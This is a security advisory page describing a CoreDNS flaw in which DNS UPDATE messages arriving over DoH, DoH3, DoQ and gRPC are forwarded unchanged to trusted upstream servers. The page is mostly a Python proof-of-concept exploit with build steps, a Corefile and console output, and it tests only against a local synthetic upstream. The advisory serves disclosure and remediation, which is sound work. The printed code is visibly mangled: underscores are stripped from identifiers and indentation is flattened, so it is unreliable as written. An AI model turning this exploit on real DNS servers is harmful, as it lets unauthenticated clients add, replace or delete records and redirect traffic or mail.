GHSA-9gm5-9rfh-m6vx: High severity go/github.com/coredns/coredns vulnerability

Published Sep 17, 2026
·
Updated

Summary

CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the proxy/forward plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.

If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.

Details

The affected listeners called dns.Msg.Unpack without the request policy used by the UDP/TCP server:

- DoH and DoH3 - DoQ - DNS-over-gRPC

CoreDNS routed the message using its Zone question without checking the opcode. forward then passed the original message to the upstream.

By contrast, dns.DefaultMsgAcceptFunc allows only QUERY and NOTIFY. The fix applies that policy to the raw header via dnsutil.UnpackRequest before any affected transport dispatches the request.

PoC

The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the forward plugin may select either transport. It does not contact or modify a real authoritative server.

Clone the repository and build the server:

bash git clone git@github.com:coredns/coredns.git cd coredns git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main go build -tags=grpcnotrace -o coredns .

Save this as Corefile.poc:

text https://.:8053 { bind 127.0.0.1 tls plugin/tls/testcert.pem plugin/tls/testkey.pem forward . 127.0.0.1:15354 }

Save this as poc.py:

python #!/usr/bin/env python3 import argparse import http.client import queue import socket import ssl import struct import threading

OPCODEUPDATE = 5 TYPEA = 1 CLASSIN = 1

def encodename(name): return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"

def updatemessage(): zone = encodename("example.com.") + struct.pack("!HH", 6, CLASSIN) update = ( encodename("foo.example.com.") + struct.pack("!HHIH", TYPEA, CLASSIN, 300, 4) + socket.inetaton("192.0.2.123") ) header = struct.pack("!HHHHHH", 0x1234, OPCODEUPDATE << 11, 1, 0, 1, 0) return header + zone + update

def readname(message, offset): labels = [] end = None seen = set() while True: if offset >= len(message) or offset in seen: raise ValueError("invalid DNS name") seen.add(offset) length = message[offset] if length & 0xC0 == 0xC0: if offset + 1 >= len(message): raise ValueError("truncated compression pointer") if end is None: end = offset + 2 offset = ((length & 0x3F) << 8) | message[offset + 1] continue offset += 1 if length == 0: return ".".join(labels) + ".", end if end is not None else offset if length & 0xC0 or offset + length > len(message): raise ValueError("invalid DNS label") labels.append(message[offset : offset + length].decode("ascii")) offset += length

def questionend(message, count): offset = 12 for in range(count): , offset = readname(message, offset) offset += 4 if offset > len(message): raise ValueError("truncated question") return offset

def parseupdate(message): , flags, qdcount, , nscount, = struct.unpackfrom("!HHHHHH", message) if (flags >> 11) & 0xF != OPCODEUPDATE or qdcount != 1 or nscount < 1: return None offset = questionend(message, qdcount) name, offset = readname(message, offset) rrtype, rrclass, ttl, rdlength = struct.unpackfrom("!HHIH", message, offset) offset += 10 rdata = message[offset : offset + rdlength] if rrtype != TYPEA or rrclass != CLASSIN or len(rdata) != 4: return None return name, ttl, socket.inetntoa(rdata)

def responsefor(message): ident, flags, qdcount, , , = struct.unpackfrom("!HHHHHH", message) end = questionend(message, qdcount) responseflags = flags | 0x8000 return struct.pack("!HHHHHH", ident, responseflags, qdcount, 0, 0, 0) + message[12:end]

def handlemessage(message, peer, received): try: update = parseupdate(message) response = responsefor(message) except (ValueError, struct.error): return None if update is not None: received.put((peer, update)) return response

def serveudp(sock, received, stopped): while not stopped.isset(): try: message, peer = sock.recvfrom(65535) except socket.timeout: continue except OSError: return response = handlemessage(message, peer, received) if response is not None: sock.sendto(response, peer)

def recvexact(connection, size, stopped): data = bytearray() while len(data) < size and not stopped.isset(): try: chunk = connection.recv(size - len(data)) except socket.timeout: continue if not chunk: return None data.extend(chunk) return bytes(data) if len(data) == size else None

def servetcp(sock, received, stopped): while not stopped.isset(): try: connection, peer = sock.accept() except socket.timeout: continue except OSError: return with connection: connection.settimeout(0.1) while not stopped.isset(): length = recvexact(connection, 2, stopped) if length is None: break message = recvexact(connection, struct.unpack("!H", length)[0], stopped) if message is None: break response = handlemessage(message, peer, received) if response is not None: connection.sendall(struct.pack("!H", len(response)) + response)

def senddoh(host, port, payload, timeout): context = ssl.createunverifiedcontext() connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() body = response.read() return response.status, len(body) finally: connection.close()

def main(): parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH") parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8053) parser.addargument("--upstream-host", default="127.0.0.1") parser.addargument("--upstream-port", type=int, default=15354) parser.addargument("--timeout", type=float, default=2.0) parser.addargument("--expect", choices=("forwarded", "blocked", "either"), default="either") args = parser.parseargs()

received = queue.Queue() stopped = threading.Event() udpsock = socket.socket(socket.AFINET, socket.SOCKDGRAM) udpsock.settimeout(0.1) udpsock.bind((args.upstreamhost, args.upstreamport)) tcpsock = socket.socket(socket.AFINET, socket.SOCKSTREAM) tcpsock.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) tcpsock.settimeout(0.1) tcpsock.bind((args.upstreamhost, args.upstreamport)) tcpsock.listen() threads = [ threading.Thread(target=serveudp, args=(udpsock, received, stopped), daemon=True), threading.Thread(target=servetcp, args=(tcpsock, received, stopped), daemon=True), ] for thread in threads: thread.start()

payload = updatemessage() try: status, responsebytes = senddoh(args.host, args.port, payload, args.timeout) try: peer, update = received.get(timeout=args.timeout) except queue.Empty: peer = update = None finally: stopped.set() udpsock.close() tcpsock.close() for thread in threads: thread.join(timeout=1)

print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload)) print("httpstatus=%d responsebytes=%d" % (status, responsebytes)) if update is None: result = "blocked" print("upstreamreceivedupdate=false") else: result = "forwarded" name, ttl, address = update print("upstreamreceivedupdate=true source=%s:%d" % peer) print("upstreamrecord=%s %d IN A %s" % (name, ttl, address)) print("result=%s" % result)

if args.expect != "either" and args.expect != result: raise SystemExit("expected %s, got %s" % (args.expect, result))

if name == "main": main()

Start the vulnerable revision:

sh ./coredns -conf Corefile.poc

In a second terminal, run the probe:

console $ python3 poc.py --expect forwarded payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 httpstatus=200 responsebytes=29 upstreamreceivedupdate=true source=127.0.0.1:52391 upstreamrecord=foo.example.com. 300 IN A 192.0.2.123 result=forwarded

The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.

For comparison, build and start CoreDNS with the fix:

sh git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main go build -tags=grpcnotrace -o coredns-fixed . ./coredns-fixed -conf Corefile.poc

The same probe is rejected before reaching the synthetic upstream:

console $ python3 poc.py --expect blocked payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 httpstatus=400 responsebytes=16 upstreamreceivedupdate=false result=blocked

Impact

Exploitation requires all of the following:

- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener - the selected proxy/forward target accepts RFC 2136 UPDATE - the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG

The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.

Affected Software

1 affected componentFixes available
go/github.com/coredns/coredns<=1.14.6
1.14.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/coredns/coredns to a version that resolves this vulnerability.

    Fixed in 1.14.7
  2. Upgrade

    Upgrade coredns to a version that resolves this vulnerability.

    Patch 530b0a5ff2ad68cc0421f10dd93568945cc671c9

Event History

Sep 17, 2026
Advisory Published
via GitHub·08:33 PM
Data Sourced
via GitHub·08:33 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are realistically exposed?

Exposure requires CoreDNS to accept DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, or DNS-over-gRPC requests and to pass requests through the proxy or forward plugin to an update-capable upstream DNS server. The upstream must trust CoreDNS’s source address or authenticated connection rather than requiring end-to-end TSIG.

2

What does an attacker need to exploit this?

An unauthenticated client needs network access to an affected CoreDNS listener. They can submit an RFC 2136 UPDATE that CoreDNS forwards unchanged to the trusted upstream.

3

Are all CoreDNS DNS transports affected?

No. UDP, TCP, and DNS-over-TLS reject UPDATE opcodes before plugin dispatch, while DoH, DoH3, DoQ, and DNS-over-gRPC did not apply the same request policy.

4

What is the practical impact if the upstream accepts the forwarded update?

An attacker can add, replace, or delete DNS records on the upstream DNS server. The issue affects integrity; the provided vector lists no confidentiality or availability impact.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203